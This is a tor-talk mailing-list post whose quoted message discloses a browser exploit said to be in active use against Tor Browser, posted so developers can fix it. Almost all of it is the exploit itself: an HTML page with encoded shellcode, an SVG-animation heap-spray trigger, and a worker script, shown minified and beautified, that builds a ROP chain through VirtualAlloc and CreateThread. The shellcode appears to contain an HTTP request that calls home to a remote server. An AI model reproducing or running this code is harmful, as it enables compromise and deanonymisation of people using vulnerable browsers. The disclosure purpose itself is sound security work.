[tor-talk] Javascript exploit
Kevin
kevinsisco61784 at gmail.com
Tue Nov 29 23:31:19 UTC 2016
The first var looks like an encryption key. Just my humble observation
and food for thought.
On 11/29/2016 4:55 PM, firstwatch at sigaint.org wrote:
> This is an Javascript exploit actively used against TorBrowser NOW. It
> consists of one HTML and one CSS file, both pasted below and also
> de-obscured. The exact functionality is unknown but it's getting access to
> "VirtualAlloc" in "kernel32.dll" and goes from there. Please fix ASAP. I
> had to break the "thecode" line in two in order to post, remove ' + ' in
> the middle to restore it.
>
> HTML:
>
> <html>
> <head>
> <script>
>
> var thecode
> ='\ue8fc\u0089\u0000\u8960\u31e5\u64d2\u528b\u8b30\u0c52\u528b\u8b14\u2872\ub70f\u264a\uff31\uc031\u3cac\u7c61\u2c02\uc120\u0dcf\uc701\uf0e2\u5752\u528b\u8b10\u3c42\ud001\u408b\u8578\u74c0\u014a\u50d0\u488b\u8b18\u2058\ud301\u3ce3\u8b49\u8b34\ud601\uff31\uc031\uc1ac\u0dcf\uc701\ue038\uf475\u7d03\u3bf8\u247d\ue275\u8b58\u2458\ud301\u8b66\u4b0c\u588b\u011c\u8bd3\u8b04\ud001\u4489\u2424\u5b5b\u5961\u515a\ue0ff\u5f58\u8b5a\ueb12\u5d86\u858d\u0297\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u0185\u0000\u858d\u029e\u0000\u6850\u774c\u0726\ud5ff\uc085\u840f\u016f\u0000\u90bb\u0001\u2900\u54dc\u6853\u8029\u006b\ud5ff\udc01\uc085\u850f\u0155\u0000\u5050\u5050\u5040\u5040\uea68\udf0f\uffe0\u31d5\uf7db\u39d3\u0fc3\u3a84\u0001\u8900\u68c3\u2705\ue21b\u6866\u5000\uc931\uc180\u6602\u8951\u6ae2\u5210\u6853\ua599\u6174\ud5ff\uc085\u0874\u8dfe\u0248\u0000\ud775\u00b8\u0001\u2900\u89c4\u52e2\u5250\ub668\ude49\uff01\u5fd5\uc481\u0100\u0000\uc085\u850f\u00f6\u0000\ue857\u00fa\u0000\u895e\u8dca\ua7bd\u0002
> \ue800\u00ec\u0000\u834f\u20fa\u057c\u20ba\u0000\u8900\u56d1\ua4f3\u0db9\u0000\u8d00\u8ab5\u0002\uf300\u89a4\u44bd\u0002\u5e00\u6856\u28a9\u8034\ud5ff\uc085\u840f'
> +
> '\u00ae\u0000\u8b66\u0a48\u8366\u04f9\u820f\u00a0\u0000\u408d\u8b0c\u8b00\u8b08\ub809\u0100\u0000\u8950\u29e7\u89c4\u57e6\u5156\u6851\u7248\ub8d2\ud5ff\uc085\uc481\u0104\u0000\ub70f\u830f\u06f9\u7072\u06b9\u0000\ub800\u0010\u0000\uc429\ue789\uca89\ue2d1\u5250\ud231\u168a\ud088\uf024\ue8c0\u3c04\u7709\u0404\ueb30\u0402\u8837\u4707\ud088\u0f24\u093c\u0477\u3004\u02eb\u3704\u0788\u4647\ud4e2\u2959\u89cf\u58fe\uc401\ubd8b\u0244\u0000\ua4f3\u36e8\u0000\u3100\u50c0\u2951\u4fcf\u5357\uc268\u38eb\uff5f\uebd5\u6a09\u6800\u1347\u6f72\ud5ff\u6853\u6e75\u614d\ud5ff\uedeb\uc931\ud1f7\uc031\uaef2\ud1f7\uc349\u0000\u0000\u8d03\ua7bd\u0002\ue800\uffe4\uffff\ub94f\u004f\u0000\ub58d\u026e\u0000\ua4f3\ubd8d\u02a7\u0000\ucbe8\uffff\uc3ff\u0a0d\u6341\u6563\u7470\u452d\u636e\u646f\u6e69\u3a67\u6720\u697a\u0d70\u0d0a\u000a\u0a0d\u6f43\u6b6f\u6569\u203a\u434d\u773d\u3273\u335f\u0032\u5049\u4c48\u4150\u4950\u4700\u5445\u2f20\u6130\u3238\u6131\u3038\u302f\u6435\u3063\u3132\u2032\u5448\u5054\u312f\u312e\u0a0d\
> u6f48\u7473\u203a\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u4190';
>
>
> var worker = new Worker('cssbanner.js');
>
> worker.postMessage(thecode);
>
> var svgns = 'http://www.w3.org/2000/svg';
> var heap80 = new Array(0x1000);
> var heap100 = new Array(0x4000);
> var block80 = new ArrayBuffer(0x80);
> var block100 = new ArrayBuffer(0x100);
> var sprayBase = undefined;
> var arrBase = undefined;
>
> var animateX = undefined;
> var containerA = undefined;
>
> var offset = 0x90;
> if
> (/.*Firefox\/(4[7-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent))
> {
> offset = 0x88; // versions 47.0 or greater
> }
>
> var $ = function(id) { return document.getElementById(id); }
>
> var exploit = function()
> {
> var u32 = new Uint32Array(block80)
> u32[0x2] = arrBase - offset;
> u32[0x8] = arrBase - offset;
> u32[0xE] = arrBase - offset;
>
>
> for(i = heap100.length/2; i < heap100.length; i++)
> {
> heap100[i] = block100.slice(0)
> }
>
> for(i = 0; i < heap80.length/2; i++)
> {
> heap80[i] = block80.slice(0)
> }
>
> animateX.setAttribute('begin', '59s')
> animateX.setAttribute('begin', '58s')
>
> for(i = heap80.length/2; i < heap80.length; i++)
> {
> heap80[i] = block80.slice(0)
> }
>
> for(i = heap100.length/2; i < heap100.length; i++)
> {
> heap100[i] = block100.slice(0)
> }
>
> animateX.setAttribute('begin', '10s')
> animateX.setAttribute('begin', '9s')
> window.dump('PAUSING!!! YAYA');
> containerA.pauseAnimations();
> }
>
> worker.onmessage = function(e)
> {
> worker.onmessage = function(e)
> {
> window.setTimeout(function()
> {
> worker.terminate();
>
> document.body.innerHTML = '';
> document.getElementsByTagName('head')[0].innerHTML = '';
> document.body.setAttribute('onload', '')
> }, 1000);
> }
>
> arrBase = e.data;
> exploit();
> }
>
>
> var idGenerator = function()
> {
> return 'id' +
> (((1+Math.random())*0x10000)|0).toString(16).substring(1);
> }
>
>
> var craftDOM = function()
> {
> containerA = document.createElementNS(svgns, 'svg')
> var containerB = document.createElementNS(svgns, 'svg');
>
> animateX = document.createElementNS(svgns, 'animate')
> var animateA = document.createElementNS(svgns, 'animate')
> var animateB = document.createElementNS(svgns, 'animate')
>
> var animateC = document.createElementNS(svgns, 'animate')
>
> var idX = idGenerator();
> var idA = idGenerator();
> var idB = idGenerator();
> var idC = idGenerator();
>
> animateX.setAttribute('id', idX);
> animateA.setAttribute('id', idA);
> animateA.setAttribute('end', '50s');
> animateB.setAttribute('id', idB);
> animateB.setAttribute('begin', '60s');
> animateB.setAttribute('end', idC + '.end');
> animateC.setAttribute('id', idC);
> animateC.setAttribute('begin', '10s');
> animateC.setAttribute('end', idA + '.end');
>
> containerA.appendChild(animateX)
> containerA.appendChild(animateA)
> containerA.appendChild(animateB)
>
> containerB.appendChild(animateC)
>
> document.body.appendChild(containerA);
> document.body.appendChild(containerB);
> }
> window.onload = craftDOM;
> //
> </script>
>
> <style>
> #mtdiv{
> position: absolute;
> width: 960px;
> height: 166px;
> z-index: 15;
> top: 100px;
> left: 50%;
> margin: 0 0 0 -480px;
> }
> </style>
> </head>
> <body bgcolor='#2F3236'>
>
> <div id='mtdiv'>
> <img src='mt.png'/>
> </div>
> </body>
> <script>
> setTimeout('window.location = \'member.php\';', 2000);
> </script>
>
> </html>
>
> ===================================================================================================
>
> content of "cssbanner.js":
>
> self.onmessage = function(msg) {
>
> thecode = msg.data;
> var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
> & 65535) + String.fromCharCode(a) };
> function
> Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return
> 0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return
> this.read(a)&255};this.readWord=function(a){return
> this.read(a)&65535};this.readDword=function(a){return this.read(a)};
> this.read=function(a,b){if(a%4){var
> c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return
> c>>>8*e|d<<8*(4-e)}return
> this._abs_read(a)};this.readStr=function(a){for(var
> b="",c=0;;){if(32==c)return"";var
> d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return
> b};this.write=function(a){}}
> function PE(b,a){this.mem=b;this.export_table=this.module_base=void
> 0;this.export_table_size=0;this.import_table=void
> 0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return
> this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad
> NT
> Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory=
> this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void
> 0==this.import_directory&&this._resolve_pe_structures();for(var
> e=this.import_directory,c=e+this.import_directory_size;e<c;){var
> d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()==
> d.toUpperCase()){for(var
> c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return
> this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return
> 0};void 0!=a&&this.find_module_base(a)}
> function ROP(b,a){this.mem=b;this.pe=new
> PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var
> b=0;;){for(var
> e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else
> break;if(e==a.length)return
> this.module_base+b;b++}};this.findStackPivot=function(){return
> this.findSequence([148,195])};this.findPopRet=function(a){return
> this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void
> 0!=c?c:new ArrayBuffer(4096);
> c=new Uint32Array(c);var
> d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return
> c}}
> var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new
> Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return
> convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return
> convu32[a]},sprayArrays=function(){for(var
> b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+
> o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/
> 8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+
> (o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)&&(vtable_offset=308);
> var spr=Array(400),arrBase=805306416,ropArrBuf=new
> ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new
> Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="\u9090");sprayArrays();postMessage(arrBase);
> for(memarrayloc=void 0;void
> 0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof
> spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+
> o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var
> mem=new Memory(memarrayloc+48,function(b){return
> memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var
> rop=new
> ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
> var backupESP=rop.findSequence([137,1,195]),ropChain=new
> Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var
> i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071;
> ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var
> j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT
> SUCCESS");
>
> };
>
>
> Beautified:
>
> self.onmessage =
> function(msg) {
>
> thecode = msg.data;
> var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
> & 65535) + String.fromCharCode(a) };
>
> function Memory(b,a,f)
> {
> this._base_addr=b;
> this._read=a;
> this._write=f;
> this._abs_read = function(a) {
> a >= this._base_addr ? a = this._read( a - this._base_addr) : (
> a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
> return 0>a?4294967295+a+1:a
>
> };
> this._abs_write = function(a,b) {
> a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a
> = 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
> };
> this.readByte = function(a) {
> return this.read(a) & 255
>
> };
> this.readWord = function(a) {
> return this.read(a) & 65535
> };
> this.readDword = function(a){ return this.read(a) };
> this.read = function(a,b) {
> if (a%4) {
> var c = this._abs_read( a & 4294967292),
> d = this._abs_read( a+4 & 4294967292),
> e = a%4;
> return c>>>8*e | d<<8*(4-e)
> }
> return this._abs_read(a)
> };
> this.readStr = function(a) {
> for(var b = "", c = 0;;) {
> if (32 == c)
> return "";
> var d = this.readByte(a+c);
> if(0 == d)
> break;
> b += String.fromCharCode(d);
> c++
> }
> return b
>
> };
> this.write = function(a){}
> }
> function PE(b,a) {
> this.mem = b;
> this.export_table = this.module_base = void 0;
> this.export_table_size = 0;
> this.import_table = void 0;
> this.import_table_size = 0;
> this.find_module_base = function(a) {
> for(a &= 4294901760; a; ) {
> if(23117 == this.mem.readWord(a))
> return this.module_base=a;
> a -= 65536
> }
> };
> this._resolve_pe_structures = function() {
> peFile = this.module_base + this.mem.readWord(this.module_base+60);
> if(17744 != this.mem.readDword(peFile))
> throw"Bad NT Signature";
> this.pe_file = peFile;
> this.optional_header = this.pe_file+36;
> this.export_directory =
> this.module_base+this.mem.readDword(this.pe_file+120);
> this.export_directory_size = this.mem.readDword(this.pe_file+124);
> this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
> this.import_directory_size=this.mem.readDword(this.pe_file+132)};
> this.resolve_imported_function=function(a,b){
> void 0==this.import_directory&&this._resolve_pe_structures();
> for(var
> e=this.import_directory,c=e+this.import_directory_size;e<c;){
> var
> d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
> if(a.toUpperCase()==d.toUpperCase()){
> for(var c = this.mem.readDword(e) + this.module_base,
> e = this.mem.readDword(e+16) +
> this.module_base,
> d = this.mem.readDword(c),
> f = 0 ; 0 !=d ;)
> {
> if(this.mem.readStr(d+this.module_base+2).toUpperCase()
> == b.toUpperCase())
> return this.mem.readDword(e+4*f);
> f++;
> d = this.mem.readDword(c+4*f)
> }
> break
> }
> e+=20
> }
> return 0
> };
> void 0!=a && this.find_module_base(a)
> }
> function ROP(b,a){
> this.mem = b;
> this.pe = new PE(b,a);
> this.pe._resolve_pe_structures();
> this.module_base = this.pe.module_base+4096;
> this.findSequence = function(a) {
> for(var b=0;;) {
> for(var e=0,c=0;c<a.length;c++)
> if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
> e++;
> else
> break;
> if(e==a.length)
> return this.module_base+b;
> b++
>
> }
>
> };
> this.findStackPivot=function() {
> return this.findSequence([148,195])
>
> };
> this.findPopRet=function(a) {
> return this.findSequence([88,195])
>
> };
> this.ropChain=function(a,b,e,c) {
> c = void 0 != c ? c : new ArrayBuffer(4096);
> c = new Uint32Array(c);
> var d = this.findStackPivot(),
> f = this.findPopRet("EAX"),
> g =
> this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
> c[0]= f+1;
> c[1]= f;
> c[2]= a+b+4*e+4;
> c[3]= d;
> for(i=0;i<e;i++)
> c[(b>>2)+i] = d;
> d =(b+4>>2)+e;
> c[d++]=g;
> c[d++]=a+(b+4*e+28);
> c[d++]=a;
> c[d++]=4096;
> c[d++]=4096;
> c[d++]=64;
> c[d++]=3435973836;
> return c
> }
> }
> var conv=new ArrayBuffer(8),
> convf64=new Float64Array(conv),
> convu32=new Uint32Array(conv),
> qword2Double=function(b,a) {
> convu32[0]=b;
> convu32[1]=a;
> return convf64[0]
> },
> doubleFromFloat = function(b,a) {
> convf64[0]=b;
> return convu32[a]
>
> },
> sprayArrays=function() {
> for(var b=Array(262138),a=0;262138>a;a++)
> b[a]=fzero;
> for(a=0;a<b.length;a+=512)
> b[a+1] = memory,
> b[a+21] = qword2Double(0,2),
> b[a+14] = qword2Double(arrBase+o1,0),
> b[a+(o1+8)/8] = qword2Double(arrBase+o2,0),
> b[a+(o2+0)/8] = qword2Double(2,0),
> b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
> b[a+(o3+0)/8] = qword2Double(16,0),
> b[a+(o3+24)/8] = qword2Double(2,0),
> b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
> b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
> b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
> b[a+(o6+8)/8] = qword2Double(2,0),
> b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0),
> b[a+(o7+16)/8] = qword2Double(0,4026531840),
> b[a+(o7+32)/8] = qword2Double(0,3220176896),
> b[a+(o7+48)/8] = qword2Double(2,0),
> b[a+(o7+56)/8] = qword2Double(1,0),
> b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
> b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
> b[a+(o7+168)/8] = qword2Double(0,2),
> b[a+(o9+0)/8] = qword2Double(arrBase+o10,2),
> b[a+(o10+0)/8] = qword2Double(2,0),
> b[a+(o10+8)/8] = qword2Double(0,268435456),
> b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
> b[a+(o11+16)/8] = qword2Double(0,4026531840),
> b[a+(o11+32)/8] = qword2Double(0,3220176896),
> b[a+(o11+48)/8] = qword2Double(2,0),
> b[a+(o11+56)/8] = qword2Double(1,0),
> b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
> b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
> b[a+(o11+168)/8] = qword2Double(0,2);
> for(a=0;a<spr.length;a++)
> spr[a]=b.slice(0)
> }, vtable_offset=300;
> /.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)?
> vtable_offset=304 :
> /.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)
> && (vtable_offset=308);
> var spr=Array(400),
> arrBase=805306416,
> ropArrBuf=new ArrayBuffer(4096),
> o1=176,
> o2=256,
> o3=768,
> o4=832,
> o5=864,
> o6=928,
> o7=1024,
> o8=1280,
> o9=1344,
> o10=1376,
> o11=1536,
> oRop=1792,
> memory=new Uint32Array(16),
> len=memory.length,
> arr_index=0,
> arr_offset=0;
> fzero=qword2Double(0,0);
> 0!=thecode.length%2&&(thecode+="\u9090");
> sprayArrays();
> postMessage(arrBase);
> for(memarrayloc=void 0;void 0==memarrayloc;)
> for(i=0;i<spr.length;i++)
> for(offset=0;offset<spr[i].length;offset+=512)
> if("object" != typeof spr[i][offset+1]) {
> memarrayloc=doubleFromFloat(spr[i][offset+1],0);
> arr_index=i;
> arr_offset=offset;
> spr[i][offset+(o2+0)/8]=qword2Double(65,0);
> spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
> for(j=0;33>j;j++)
> spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
> spr[i][offset+(o3+8)/8]=qword2Double(0,0);
> spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
> spr[i][offset+(o7+168)/8]=qword2Double(0,3);
> spr[i][offset+(o7+88)/8]=qword2Double(0,2);
> break
> }
> for(;memory.length==len;);
> var mem=new Memory(memarrayloc+48,
> function(b){return memory[b/4]},
> function(b,a){memory[b/4]=a}),
> xulPtr=mem.readDword(memarrayloc+12);
> spr[arr_index][arr_offset+1]=ropArrBuf;
> ropPtr=mem.readDword(arrBase+8);
> spr[arr_index][arr_offset+1]=null;
> ropBase=mem.readDword(ropPtr+16);
> var rop=new ROP(mem,xulPtr);
> rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
> var backupESP=rop.findSequence([137,1,195]), ropChain=new
> Uint32Array(ropArrBuf);
> ropChain[0]=backupESP;
> CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
> for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
> ropChain[i++]=3296825488;
> ropChain[i++]=2048;
> ropChain[i++]=1347469361;
> ropChain[i++]=1528949584;
> ropChain[i++]=3092271187;
> ropChain[i++]=CreateThread;
> ropChain[i++]=3096498431;
> ropChain[i++]=arrBase+16;
> ropChain[i++]=1955274891;
> ropChain[i++]=280697892;
> ropChain[i++]=704643071;
> ropChain[i++]=2425406428;
> ropChain[i++]=4294957800;
> ropChain[i++]=2425393407;
> for (var j=0;j<thecode.length;j+=2)
> ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
> spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
> spr[arr_index][arr_offset+3]=qword2Double(0,256);
> spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
> spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
> spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
> postMessage("GREAT SUCCESS");
> };
>
>
>
---
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